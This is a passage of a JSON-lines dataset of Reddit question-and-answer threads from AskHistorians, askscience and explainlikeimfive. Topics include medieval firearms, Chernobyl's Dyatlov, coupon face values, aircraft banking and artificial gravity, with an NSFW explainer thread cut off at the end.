didn't just explode onto the scene out of nowhere.\n\nAs to your second question, it depends on what you mean by battle. We see firearms being used in sieges almost immediately after their introduction in Europe, but not used on the field due to a combination of low power, unreliability, and the fact that gunpowder would dissolve into its constituent elements when treated to too much shaking.\n\nHigher quality powder (closer to the ideal mixture of saltpeter, charcoal, and sulphur), the arquebus with a matchlock firing mechanism, and granulated powder solved each of these problems respectively, and led to the first use of firearms in pitched battles in a real way from 1410 - although it wasn't until the mid-15th century that we saw the rise of tactics that used firearms effectively.\n\nHowever, the sense I get of your question is that you're really asking about what *effect* firearms had on Medieval warfare. I asked the same question a few months back in this subreddit, and did some research to find the answer. Arquebus specifically were (among other things) a counter to enemy pike formations and other forms of heavy infantry, sending volleys into the enemy formations as they approached to not only kill and terrify them, but destroy their cohesion before the two sides clashed. The Spanish Tercio, although a bit further in the future, is based on this principle.\n\nThis isn't terribly different from what previous ranged weapons did, but arquebus had *far* better armor penetration than bows. As the cost of plate armor dropped, and the front ranks (and more) of pikemen began to wear partial plate armor, the ability of bows to consistently kill them began to fail. Arquebus proved able to defeat munitions plate semi-consistently at ranges of 50 feet or less, which is were the ranges they ended up being used.\n\nNote that this is a huge generalization, as talking about \"firearms\" is like talking about \"polearms\" or \"bows\" - you're sweeping a whole lot of different weapons with different functions under one giant category. Firearms of the period included not only the shoulder-fired arquebus, whose function I've described, but also the powerful, clumsy musket, the sharpshooter's rifle, and various forms of light artillery that straddled the line between gun and cannon.\n\nIf you're interested in this, I can recommend some good reads on the subject. I'm an amateur myself, so you can be sure it won't be too heavy. ;)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Arquebus"], [], ["http://i.imgur.com/AskJBPf.jpg"], [], [], [], []]}
{"q_id": "2iepr7", "title": "Do Magnetic Fields Instantly Appear or do they Propagate at the Speed of Light?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2iepr7/do_magnetic_fields_instantly_appear_or_do_they/", "answers": {"a_id": ["cl1kt9n", "cl1v7a8"], "score": [17, 2], "text": ["Electric and magnetic fields always propagate at the speed of light. That's what light is made of, after all. When we talk about the 1/r^2 distribution for a static charge for an electric field (or the magnetic field of a bar magnet) we're assuming that the charge has existed \"forever\" in the same position. If you shift that charge over, the electric field will change to the one centered around the new position roughly in a ball that expands at the speed of light. So for electric fields far away, the effect of the nudge will take a long time to be felt, because the resulting ripple will take time to get there.", "As /u/Snuggly_Person notes, magnetic fields do not instantly appear. If they did, you could use this to break causality and propagate information instantaneously. \n\nTo elaborate slightly, at a point **r** at time t, the electromagnetic fields come about from the history of moving charges through all points in space **r**' and previous times t_r  <  t such that the points are causally connected to the present point. Here t_r is referred to as the retarded time and (in vacuum) is given by the expression\n\nt_r = t - | **r**(t) - **r**'(t_r) | / c\n\nUse of the time history of sources at retarded times ensures that cause (i.e., motion of charges some distance away) and effect (the generation of electromagnetic fields) are connected properly according to Relativity. The mechanics for doing this employ the [Li\u00e9nard-Wiechert potentials](_URL_0_), which account for causality and finite propagation speed of light in classical electromagnetic theory. \n\nEdit: fixed link"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Li\u00e9nard\u2013Wiechert_potential"]]}
{"q_id": "7tmjy0", "title": "we\u2019ve selected bred wolves over thousands of years to make some of their descendents much smaller than their ancestors ever were (ie chihuahuas). if we selectively bred humans over thousands of years could we make a breed of human that\u2019s only a foot tall?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7tmjy0/eli5_weve_selected_bred_wolves_over_thousands_of/", "answers": {"a_id": ["dtdl66i", "dtdlzn7"], "score": [5, 19], "text": ["Maybe but unlikely.  There\u2019s probably a lower limit on how short a human can be since you can\u2019t really compress the organs too much.  \n\nIf you look in the world of horse racing jockeys they basically selectively breed themselves to maintain their small size and weight for optimal racing performance.  ", "It would be unethical and illegal as for now but theoretically, yeah.\nSmall African pygmies are about 3\u20199. If scientists bred the smallest of pygmies together, then the smallest offspring, etc.. we could probably end up with a 1\u2019 human. \nOn the other hand, it might be a little more difficult because of the genetic defects caused by consanguinity, most of the offspring might be sterile or dead."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2zxb1d", "title": "how are coupons worth 1/100 of a cent? they are not printed by the government so how can a company legally create a form of u.s. currency?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2zxb1d/eli5_how_are_coupons_worth_1100_of_a_cent_they/", "answers": {"a_id": ["cpn4x31", "cpn535w", "cpn53kp", "cpn7xky"], "score": [33, 4, 3, 5], "text": ["It is not a form of US currency, the reasoning has to do with economics.\n\nA long time ago, retailers used to provide stamps (coupons) to customers for their purchases.  A customer collected so many stamps and it could be traded in for something for value through the company's store or catalog.\n\nBut to print the stamps cost money, so to cover that cost, retailers just raised the prices on the goods and passed it on to the consumers.\n\nRegulation from states required that the stamps be worth a certain *face value* so that if a customer wanted, it could retrieve cash instead of goods.  Retailers worked around that by giving the stamps a value of 1/10th or 1/100th of a penny.\n\nEventually coupons became more popular to entice customers but the regulations considered coupons as the same as stamps, so that's why there's a *face value* for coupons.\n\nEDIT: Clarification", "Back in the day, there was something called *trading stamps*.  For every dime you spent at the store, you got a stamp you could put into a booklet.  Once you acquired enough stamps, you could order items out of catalog.  The promotion was very popular with most shoppers...in the 1960's, S & H Green Stamps printed more stamps than the post office did.  The recession of the 1970s let to many stores cutting they stamp program to offer lower prices, leading to the eventual end of the stamps in the 1980s.\n\nHowever, these stamps weren't free, not to the stores.  They had to buy them, and then pass their cost on to the customer.  Customers who did not want to bother with stamps complained about being forced to pay for them, and some states passed laws requiring stamps to have a face value.  Stamp makers responding by assigning the lowest legally valid price, 1/100 of a cent.\n\nThe same laws that governed stamps could be construed to apply to other coupons, so the include the 1/100 of a cent fine print as a precaution.  They are not a currency, just a value you could redeem the coupon for from the organization that issued them.", "It started with trading stamps. Stores would give customers stamp for every 10 cents sold for example, and then they could use those stamps to buy other products. 100 stamps for a toaster or something. Since no store is going to just give away something for nothing, people quickly realized the stores were jacking up the prices on items to make up for the \"free\" stuff the stamps were buying. Essentially a 20 toaster was being bought with the equivalent of 40 dollars worth of stamps. To prevent stores from ripping people off, they enacted laws that stated stores had to put an actual cash value on the stamps. Naturally they simply gave them ridiculously low values. \n\nWhat do those stamps have to do with coupons? Some states consider stamps and coupons the same thing legally, so coupons need to have an actual cash value printed on them. Only a few states have that requirement, but most coupons are national so it's easier to just print them all with that value.", "Not an explanation, but an amusing anecdote: I've been in retail a long time. Occasionally I get a customer who wants to trade their coupon for its cash value (like, they have a coupon for $10 off and want to exchange it for $10 cash). My response is always \"I'd be more than happy to, just bring in 99 more because I can't get centipennies.\" They're always extremely confused until I show them the cash value printed on the coupon. Being the boss has its perks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ew1wrz", "title": "When New Amsterdam's name was changed to New York, did people actually like it better that way?", "selftext": "Was listening to the They Might be Giants song and was wondering if there was uproar over the name change or if people were chill about it\nedit: I cant believe my dumb question got silver, thanks!!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ew1wrz/when_new_amsterdams_name_was_changed_to_new_york/", "answers": {"a_id": ["ffzk7gl"], "score": [623], "text": ["/u/lord_mayor_of_reddit has a fantastic earlier answer about why the name change was actually quite a few people's business:\n\n* [When Britain conquered New Amsterdam, what did the Dutch settlers do?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6nl9np/when_britain_conquered_new_amsterdam_what_did_the/"]]}
{"q_id": "2wx3vu", "title": "how can \"stealing\" another company's employees and \"agreeing not to steal\" employees both be sue-able offenses?", "selftext": "Apple and Google were busted last year for forming a \"pact\" not to steal each other's engineers. However, Apple was ALSO recently busted in a lawsuit by A123 for doing the exact opposite, and trying to lure away engineers with better pay and benefits. \n\nHow can Apple be liable for both these things?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wx3vu/eli5_how_can_stealing_another_companys_employees/", "answers": {"a_id": ["couwf86"], "score": [5], "text": ["Most engineers sign non-disclosure and non-compete agreements with their employers. That means that for a certain amount of time after leaving their job, they will not work on exactly the same thing for a competitor. It's to avoid companies paying hiring people from other companies just to steal their research.\n\nThe agreement Apple and Google were busted for was them agreeing not to ever hire people from the other company for anything. So not only couldn't an iOS engineer get hired to work for Android (which makes sense because of their non-compete), but they also couldn't get hired to work for Google's Ads."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ccsqe2", "title": "Was HBO's \"Chernobyl\" depiction of Anatoly Dyatlov accurate? Did he really bully and pressure his operators into breaking multiple safety regulations on the night of the explosion?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ccsqe2/was_hbos_chernobyl_depiction_of_anatoly_dyatlov/", "answers": {"a_id": ["etpqkse"], "score": [1546], "text": ["From Higginbotham's (2019) *Midnight in Chernobyl, the Untold Story of the World's Greatest Disaster* (emphasis mine)\n\n > The recollections of others present at the time would be quite different. According to Toptunov, Dyatlov not only witnessed the power fall but also\u2014enraged\u2014told him to withdraw more control rods from the reactor to increase power. Toptunov knew that to do so could certainly increase reactivity but would also leave the core in a dangerously unmanageable state. So Toptunov refused to obey Dyatlov\u2019s command.  \n >   \n > \u201cI\u2019m not going to raise the power!\u201d he said.  \n >   \n > **But now Dyatlov threatened the young operator: if he didn\u2019t follow orders, the deputy chief engineer would simply find another operator who would.** The head of the previous shift, Yuri Tregub\u2014who had stayed behind to watch the test\u2014was well qualified to operate the board and right there at his elbow. And Toptunov knew that such insubordination could mean that his career at one of the most prestigious facilities in the Soviet nuclear industry\u2014and his comfortable life in Pripyat\u2014would be over as soon as it had started.  \n >   \n > Meanwhile, the reactor continued to fill with poisonous xenon 135, falling deeper and more inextricably into the well of negative reactivity. Finally, six long minutes after the fall in power had begun, Toptunov, terrified of losing his job, gave in to Dyatlov\u2019s demands. The deputy chief engineer withdrew from the console, mopping sweat from his brow, and returned to his position in the center of the room.\n\n & #x200B;\n\nIn his end notes Higginbotham writes that he is quoting from Medvedev's (1991) *The Truth About Chernobyl.* Medvedev was a Deputy Chief Engineer at Chernobyl and conducting extensive first hand interviews. Higginbotham writes \"Medvedev writes that Toptunov would recount his thoughts \\[less than 24 hours later\\] while in the medieval center in Pripyat. He also claims \"this view is expanded on by Shcherbak's interviews with Kazachkov and Uskov in Chernobyl 366-69 and 370-74\" but I don't have access to those.\n\nIn *The Truth About Chernobyl* Medvedev writes (p54-55)\n\n > The situation in the room housing the main control panel of No. 4 reactor unit was one of high drama. With uncharacteristic energy Dyatlov ran around the operators' control panels, spewing forth a torrent of curses and foul language. His normally hoarse, quiet voice now took on an angry, steely tone. \"You goddam idiots, you haven't a clue! You've screwed everything up, you boobs! You're ruining the experiment! I can't believe what a bunch of assholes you are!\"  \n >   \n > His rage was understandable. The reactor was being poisoned by decay products. There were two options: increasing the power immediately, or waiting twenty-four hours for the poisons to dissipate. He should have waited. Dyatlov, you overlooked the fact that the core was becoming poisoned faster than you had thought. Stop now and, and mankind might be spared the Chernobyl disaster!  \n >   \n > But he was unwilling to stop. Still cursing, he dashed frantically around the control room, thus wasting valuable minutes. He ordered an immediate increase in the power of the reactor. Dyatlov continued to rant and rave.\n\n & #x200B;\n\n > Therefore Toptunov made the only correct decision.  \n >   \n > \"I'm not going to raise the power!\" he said firmly. Akimov supported him. Both men explained their apprehensions to Dyatlov.  \n >   \n > \"You lying idiot!\" Dyatlov turned on Toptunov, shouting. \"If it falls from 80%, the rules allow you to increase power after twenty-four hours, but you fell from 50%! The rules don't say you can't do that. If you don't increase the power, Tregub will.\"  \n >   \n > This was psychological warfare (Yuri Tregub was the shift foreman who had been relieved by Akimov and was still present, intending to witness the tests). Admittedly there was no way of knowing whether he would have agreed to increase the power level. Dyatlov, however, had guessed right: Toptunov, intimidated by his boss's shouting, acted against his own professional instinct. He was an inexperienced man, of course, of only twenty-six years old. He must have been calculating the odds: \"The operational reactivity reserve is twenty-eight rods. In order to offset the poisoning, we're going to have to remove five to seven rods from the reserve group. I might cause a power surge, but if I don't do what I'm told, I'll be fired.\" (These remarks were made by Toptunov in the Pripyat medical center before he was sent to Moscow).\n\n & #x200B;\n\nSerhii Plokhy in *Chernobyl, The History of A Nuclear Tragedy* (2018) quotes Razim Davaletbaev, deputy chief of the turbine unit who was in the control room on the right (from a Russian text published in 1995)  regarding Dyatlov's conduct earlier on the night....\n\n > Immediately upon the start of the shift, Diatlov began demanding that the program continue to be carried out. When Akimov sat down to study the program, Diatlov began reproaching him for working too slowly and failing to pay attention to the complexity of the situation that had arisen in the unit. Diatlov shouted at Akimov to get up and started insisting that he hurry up.\n\n & #x200B;\n\nAnd quotes Trehub/Tregub on Dyatlov's managerial style in general (from Shcherbak's \\*(\\*1991) *Chernobyl* again:\n\n > \u201cHe stopped off at Unit 3 on his way and evidently found something wrong with regard to discipline. He dressed them down,\u201d remembered Trehub. That was typical of Diatlov. \u201cHe punished personnel severely for mistakes and disobedience, bellowing at them and fraying nerves,\u201d recalled another colleague\n\n & #x200B;\n\nAs Rumbuck says in this thread we'll never actually know for sure, because it appears that the regime's response was to lay the blame on this one man rather than structural problems with the plant resign or the nuclear programme as a whole. But it would seem there is enough material floating around in the historical record to warrant saying he's was a belligerent guy not at all above bullying subordinates and it seems plausible, stressed as he was about getting the test done, that he would have threatened Toptunov with replacing him if he didn't do as ordered. Worth noting, in passing, that Toptunov actually was replaced as the events continued:\n\n > With Akimov\u2019s assistance, Toptunov switched off the automatic system controlling the rods and began withdrawing them manually to breathe life back into the dying reactor. Trehub was also there to help. \u201cWhy are you withdrawing \\[the control rods\\] inconsistently? This is where you should be withdrawing,\u201d he told Toptunov, who was initially taking them out of some sectors of the reactor but not from others. **Trehub eventually replaced Toptunov at his work station and brought the power level up to keep the reactor going.**\n\n(from Plokhy (2018), quoting Tregub's remarks in interview with Shcherbak) (my emphasis)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "45gp7n", "title": "In the Middle Ages, if someone was drowning and they're pulled out of the water but unresponsive, was there anything people could do to try to save them?", "selftext": "I know that mouth-to-mouth resuscitation wasn't a thing until the 1700's, so I feel as though I'm answering my own question but...maybe someone knows of *something* people did back then to try to save a drowning victim?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/45gp7n/in_the_middle_ages_if_someone_was_drowning_and/", "answers": {"a_id": ["czyjid2"], "score": [2], "text": ["One very odd method was [tobacco-smoke enemas](_URL_0_). During the late 18th and early 19th centuries, this technique was pioneered as a way of stimulating respiration. Emergency kits containing a small bellows were stationed along the Thames in London to aid drowning victims. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bcmj.org/special-feature/special-feature-tobacco-smoke-enemas"]]}
{"q_id": "1uzh0i", "title": "Can anyone help me find the significance of this badge?", "selftext": "(X-POST from /r/nursing)\nMy great aunt Alice served as a nurse in Salonika, Greece, during WW1, so I'm not sure if this should be here or in /r/military, but if anyone can help me find the significance of this badge she left, it would mean a lot to my family and I, as we are currently going through her things and cataloging everything. \n\n[Front](_URL_2_) \n\n[Back](_URL_0_)\n\n[Quarter for scale](_URL_1_)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1uzh0i/can_anyone_help_me_find_the_significance_of_this/", "answers": {"a_id": ["cenj0y2"], "score": [4], "text": ["That is a WWI era Yugoslavian/Serbian officers cockade cap badge. I believe they are pretty rare. Usually those pins had blue in the center and red on the outside. It is from the Yugoslavian \"Kingdom era\" 1918-1939\nHope that answered some questions.\n\nEdit to add example: _URL_0_ \n\nJust a little way down the page youll see the same badge and description. \n"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/WFtOZZz", "http://imgur.com/1DthW6g,WFtOZZz,kOhFaEW#2", "http://imgur.com/1DthW6g"], "answers_urls": [["http://www.jkmilitaria.com/Serbia.html"]]}
{"q_id": "3j59qb", "title": "why exactly do aircraft need to bank when they need to turn?", "selftext": "Why exactly do aircraft that wish to turn left- or right-wards need to bank? I understand that it's necessary, but not really very keen on the why.\n\n(Also, am I correct in assuming that banking in space would be needless/pointless, and that shows and films showing spacecraft doing that are wrong?)\n\nThanks.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3j59qb/eli5_why_exactly_do_aircraft_need_to_bank_when/", "answers": {"a_id": ["cumiaw5", "cummik1", "cumodh8", "cumpfbd", "cumrkj5", "cumsg6l", "cumejav", "cumekwf", "cumeme7", "cumeo0s", "cumf9j6"], "score": [2, 3, 2, 2, 2, 2, 41, 5, 3, 3, 22], "text": ["you need a certain combination in horiztonal lift and vertical lift to maintain a coordinated turn. if you only yaw, you have very little horiztonal lift, not to mention you are fighting all that relative wind. banking generates that horizontal lift that you need to turn at a reasonable rate.\n\nbasically you can slowly turn with only yaw. You need horizontal lift to turn efficiently. i cant fucking explain things very well. How the fuck did i even get my CFI?", "Interesting point to keep in mind, you can turn a plane without banking it! If you have engines on the wings, you can power down one of the engines slightly and it causes asymmetrical thrust which results in a turn if not corrected with the tail rudder. It's not used because well... it's dumb hah.", "The bottom surface has more surface area so it is gripper in the turn. The horizontal control of a plane is weak because there is little horizontal surface. \n\nMost yaw, horizontal, control is on the tail and causes weird handling too. Most aircraft are more stable. ", "Banking in space is indeed needless/pointless and shows and films showing spacecraft doing that are simply wrong.\n\n2010 A space oddysey and babylon 5 are among those that depicted spacecraft which did not bank.\n\nA spacecraft typically uses thrusters to turn, or to move in a different direction.\n\nA plan uses aerodynamics. Most commonly planes predominantly use [ailerons](_URL_1_) to turn and co-ordinated rudder to ensure[ control and stability](_URL_0_) about yaw axis.\n\nA gentle bank may be more comfortable for a passenger and perhaps reduce drag, in addition to helping keep the aircraft stable and controlled (ailerons in conjunction with rudder)", "It has a secondary use as well. It helps to reduce air sickness. Think of how gentle flying is with turning and banking vs a car going up or down a mountain road. If my wife isn't driving, or at least sitting in the front seat, on mountain roads she will have extreme motion sickness.", "Banking in space means nothing to the spacecraft, but would be familiar to the pilot and more comfortable to occupants.", "banking the aircraft changes the direction of lift and angles it towards the direction of the turn. In effect, the wings now push the plane in the direction of the turn, rather than simply hold the plane up. However you do lose lift, and for long or particularly steep banks you have to apply power and yaw to keep the nose level.\n\nYou can turn the aircraft using yaw (rudder) only. But you risk stalls and spin of you do it too sharply. ", "When a plane is flying straight and level it is producing lift in one direction (up) which keeps the plane in the air. When the plane banks, let's say left, the lift is now broken into two different directions. The majority of lift is still in the up direction but now some of that lift is in the direction of the turn. This causes the plane to move towards the left.\n\nIn what is called a coordinated turn, the pilot must use the rudder to align the nose of the plane in the direction of the turn. Too much or too little of a rudder correction will result in either a slip or a skid. As a passenger in a coordinated turn, you will only feel an accelerating force straight down into your seat. This is why in an airliner your drink doesn't spill during a turn. A spacecraft would most likely bank in a turn for this reason, for the comfort of the passengers. Otherwise, no, it is not necessary for a spacecraft to bank before turning since it is not using aerodynamic force to turn.", " > Why exactly do aircraft that wish to turn left- or right-wards need to bank? I understand that it's necessary, but not really very keen on the why.\n\nBecause it allows you to use the entire surface of the wings to cause the airplane to change direction - whereas, if it didn't bank, you'd only be using the control surface on its vertical tail, and even it would have to fight against the airplane's inherent aerodynamic stability.\n\n > (Also, am I correct in assuming that banking in space would be needless/pointless, and that shows and films showing spacecraft doing that are wrong?)\n\nYes, airplanes need to point roughly in the direction they're moving because of air. In space, there's no air, so no matter which way you turn, you'll keep moving in the same direction.", "Because at the trailing edge of the wings, usually on the very outboard part,  a conventional aircraft use \"aerilons\". These little panels are hinged and flap up or down,  opposite to the other wing.\n\nWhen ones flaps down it creates more lift, more lift makes the wing more efficient, and the tip of the wing moves up. But while that's happening, the opposite aerilon is flapping up, which creates less lift and the wing tip moves down.\n\nSo one wing has more lift and is moving up, the other has less and is moving down.  That's why the airplane banks left or right. If no adjustment is made, the aircraft will keep rolling completely over and back up.  So the pilot has to hold the bank steady to maintain the turn!\n\nLastly,  no, in space they use thrust jets to control the three axises. There are no lifting surfaces to manipulate like wings.", "One part that I haven't seen mentioned yet is the effect on the passengers in the aircraft.\n\nNewton told us that objects in motion tend to stay in motion.\n\nBoth you and the plane are objects. Think about when a car suddenly slams on the brakes. The car rapidly slows down, and the passengers inside slide forward (and are hopefully stopped by their seat belts).\n\nIf the plane were to turn without banking, the objects inside would continue in the original direction until they hit something. This would mean that all the passengers would slide to one side of the plane and hit the armrest on that side and it would be really uncomfortable.\n\nWhen the plane banks to turn, the direction you slide is now down into the seat instead of sideways into the arm rest. This is much more comfortable in general and works well for most passengers (and it doesn't spill the drinks in 1st class)\n\nYou may notice this when the plane turns because you start to feel \"heavier\". That is your body trying to stay on it's original path while the plane is changing the motion of the you (the object).\n\nSome planes don't have to turn this way (they can use the rudder to turn), but in general, it is better to bank when you turn.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.empire-aviation.com/flight-instructors/john-e-mclain/understanding-the-use-of-rudder.html", "https://en.wikipedia.org/wiki/Aileron#Flight_dynamics"], [], [], [], [], [], [], []]}
{"q_id": "1w4t6v", "title": "When we are children, we generally react to pain by crying. As adults, we generally do not cry, but instead respond to pain by swearing or other mechanisms. What causes this change in behavior?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1w4t6v/when_we_are_children_we_generally_react_to_pain/", "answers": {"a_id": ["ceyzit2"], "score": [9], "text": ["There is a literature on the evolved function of infant crying. Here is one relatively recent article\n\n >  It is argued that human infant crying evolved as a primarily acoustic, graded signal, that it is a fairly reliable, if imperfect, indicator of need for parental care and that its primary function is to promote parental caregiving. Selection pressures that may have shaped the evolution of crying and its potential for corruption through dishonesty also are discussed.\n\n_URL_1_\n\nAs for adult crying (rather than lack of crying), here is one article that proposes:\n\n > By blurring vision, [tears] handicap aggressive or defensive actions, and may function as reliable signals of appeasement, need or attachment.\n\n_URL_0_\n\nIf so, then adult crying would often signal sadness, rather than pain. Here is a study that found that women's emotional tears reduced sexual arousal in men:\n\n >  Emotional tearing is a poorly understood behavior that is considered uniquely human. In mice, tears serve as a chemosignal. We therefore hypothesized that human tears may similarly serve a chemosignaling function. We found that merely sniffing negative-emotion\u2013related odorless tears obtained from women donors induced reductions in sexual appeal attributed by men to pictures of women\u2019s faces. Moreover, after sniffing such tears, men experienced reduced self-rated sexual arousal, reduced physiological measures of arousal, and reduced levels of testosterone. Finally, functional magnetic resonance imaging revealed that sniffing women\u2019s tears selectively reduced activity in brain substrates of sexual arousal in men.\n\nAdult signals caused by physical pain probably do include crying (in some cases), but adults might be less inclined to signal need unless it was really necessary."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.epjournal.net/wp-content/uploads/ep07363370.pdf", "http://www.ub.unimaas.nl/ucm/e-readers/ss229/zeifman.pdf"]]}
{"q_id": "b6tycb", "title": "What was sex education like in the Soviet Union?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b6tycb/what_was_sex_education_like_in_the_soviet_union/", "answers": {"a_id": ["ejo3308"], "score": [28], "text": ["While  you wait, you can read an old answer by /u/kieslowskifan to a related question: \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/2ml07g/why_was_sexuality_so_repressed_in_the_soviet/"]]}
{"q_id": "r6n2v", "title": "How far off are we really from achieving artificial gravity?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r6n2v/how_far_off_are_we_really_from_achieving/", "answers": {"a_id": ["c43b9ox", "c43baho", "c43baiq", "c43bayc", "c43bkm3", "c43bqki", "c43bu7h", "c43bvx4", "c43bwih", "c43byla", "c43c0fn", "c43c5tu", "c43c7dj", "c43ccdr"], "score": [41, 191, 9, 12, 8, 5, 8, 2, 9, 2, 3, 4, 5, 2], "text": ["Extremely far. You can simply rotate your spaceship like in Odyssey 2001 though, and use the centrifugal force as your artificial gravity. Just make sure it's large enough not to make you throw up because of the coriolis force and other pseudo forces.", "Well, we can simulate gravity reasonably well by spinning something at a constant velocity so that the centripetal acceleration is close to 1g., we just haven't been able to put anything big enough to do comfortably it into orbit. Or, if we had something that constantly accelerating at 1g, that would do it too.\n\nAs for artificial gravity like in movies, where everyone is floating around and someone presses a button and the 'artificial gravity' turns on and everybody falls to the floor? That's not really possible.", "Ever been on the [Gravitron](_URL_0_)?\n\na = (v^2 / r)  Where *a* is the acceleration you feel, *v* is the rotational velocity of the Gravitron, and *r* is the Graviton's radius.  \n\n*voila*.", "The only thing we know of that produces gravity is mass.  As it stands gravity is by far the weakest of the four fundamental forces so you need the mass of the earth to produce 1g.\n\nLikewise there is no anti-gravity or zero-g room.  Of the four force gravity is the only one we cannot block.\n\nThat said Einstein postulated the [Equivalence Principle](_URL_0_) where he asserts that an accelerated reference frame can experience a force indistinguishable from gravity.  So, get on a rocket and accelerate at 1g and everything works the same as if you were in a gravitational field of 1g.\n", "Question: What speaks against something like iron clothing and strong magnetic fields?", "Layman question here.\n\nIn theory, assuming unlimited resources, could you use ion bombardment in one direction to simulate gravity?", "I think there's something off with the philosophy of science implied in the question; the question isn't really meaningful right now. Science, like history, does not head inexorably towards certain developments. There is no guarantee that \"artificial gravity\" (outside of acceleration of 1g from centrifuges etc) is actually a possible thing in the laws of the universe. Feynman addresses this point very well with respect to anti-gravity in the following clip:\n\n_URL_0_", "centripetal force devices can be made now. As we do not understand exactly what gravity is, it is safe to assume we can't produce it artificially due to the lack of understanding of the actual generator of the stuff. Gravity might be a side effect of mass in space. Perhaps it's magnitudes of strength have to do with whether or not the mass is moving? Gravity is observed, but is not yet fully understood. So, by using centripetal force we can simulate, but we cannot so far reverse the effects or create the effects as they actually are.", "TLDR: we believe non-mass based gravity to be impossible", "While we can attain artificial gravity through centripetal force, the energy required to maintain such a craft, especially for the purpose of space exploration, would be enormous. ", " > I think this might be one of the few key technologies holding us back from true space exploration.   \n  \nThe only key technology holding us back is money.", "We have it now; it's called a centrifuge.", "Simple answer: we don't know.\n\nI'm assuming you're talking about a Star Trek-style \"gravity generator\", not acceleration-based or centripetal-force-based gravity.\n\nGiven our current knowledge of the universe, there is no known way to accomplish this. Now, that isn't to say it's impossible. It may be impossible, it may not be impossible. It might turn out that lurking somewhere deep in the details of the Higgs Boson or in superstring theory or in the Alcubierre drive is some crazy trick we can exploit to create anti-gravity. It certainly wouldn't be the first thing something \"impossible\" has been shown to be possible.\n\nHowever, *if* it's possible - and there's no guarantee it's possible, either - there's currently no way to know how far we are from it, or how it will be accomplished.\n\nThis is the equivalent of walking up to a caveman and saying \"Thog! Me want smash two thirds of water together, use to generate lightning in copper! How long will take?\" Thog isn't going to have a bloody clue how long practical nuclear fusion will take to develop - he doesn't have the fundamental scientific research needed.\n\nMost likely, the best route for artificial gravity will be fundamental physics research. Campaign your politician to fund things like particle accelerators. We might not get artificial gravity out of it, but we'll probably get *something*.", "Already have it: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Gravitron"], ["http://en.wikipedia.org/wiki/Equivalence_principle"], [], [], ["http://www.youtube.com/watch?v=hyCc3ri_ZF4"], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Reduced_gravity_aircraft"]]}
{"q_id": "2fe142", "title": "the difference between a clitoral, vaginal, and anal orgasm. [nsfw]", "selftext": "What actually is the difference, and does one feel better than the other?\n\nEdit, I'll be honest I thought this would be downvoted straight away. Thanks for the comments guys!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fe142/eli5_the_difference_between_a_clitoral_vaginal/", "answers": {"a_id": ["ck8dbpq", "ck8fcv9", "ck8ft8s", "ck8gunv", "ck8gxz1", "ck8ik64", "ck8izfs", "ck8j1ha", "ck8k970", "ck8klsu", "ck8kri4", "ck8l1q6", "ck8l1u8", "ck8lbyn", "ck8lsga", "ck8mnt0", "ck8n33t", "ck8n381", "ck8n9nr", "ck8na73", "ck8nb5y", "ck8nkcf", "ck8np1x", "ck8o43c", "ck8on38", "ck8otq4", "ck8paor", "ck8q9cw", "ck8qth8", "ck8sdl2", "ck8szq0", "ck8tawn", "ck8tppv", "ck8ue14", "ck8uh2u", "ck8vlwf", "ck8vxcc", "ck8x8k1", "ck8xenv", "ck8y2c9", "ck8y4jv", "ck8yo6t", "ck91g3e"], "score": [35, 3, 2260, 16, 7, 211, 273, 358, 68, 15, 187, 30, 4, 79, 6, 5, 433, 24, 3, 3, 5, 3, 2, 5, 2, 3, 8, 10, 17, 3, 3, 3, 31, 3, 3, 8, 3, 4, 4, 6, 3, 11, 2], "text": ["Well there are definitely distinct differences in the way the pleasure is focused but it is very difficult to articulate those differences in writing. At he basic level  , the body area of stimulation is the focal point, but the pleasure radiates through the body like ripples in a pond. While the orgasm is the same, the center is different. With that being said,  the typical strength of the orgasm can be stronger in some areas then others.  For many women clitoral orgasms are the most common. Clitoral stimulation can also enhance or even facilitate orgasm in other places , if both areas are stimulated simultaneously.  Many women cannot orgasm without it. However in many cases if the person is able to achieve orgasm without clitoral stimulation(which is difficult for many) It can be exponentially stronger and felt on a much deeper level then the clitoral \"O\".  I have a feeling this is about clear as mud  so I will stop there. Note, every woman is an individual. ", "I think it is all subjective, as in \"Does one feel better than the other?\", it comes down to preference.\n\nI guess they're different only because of 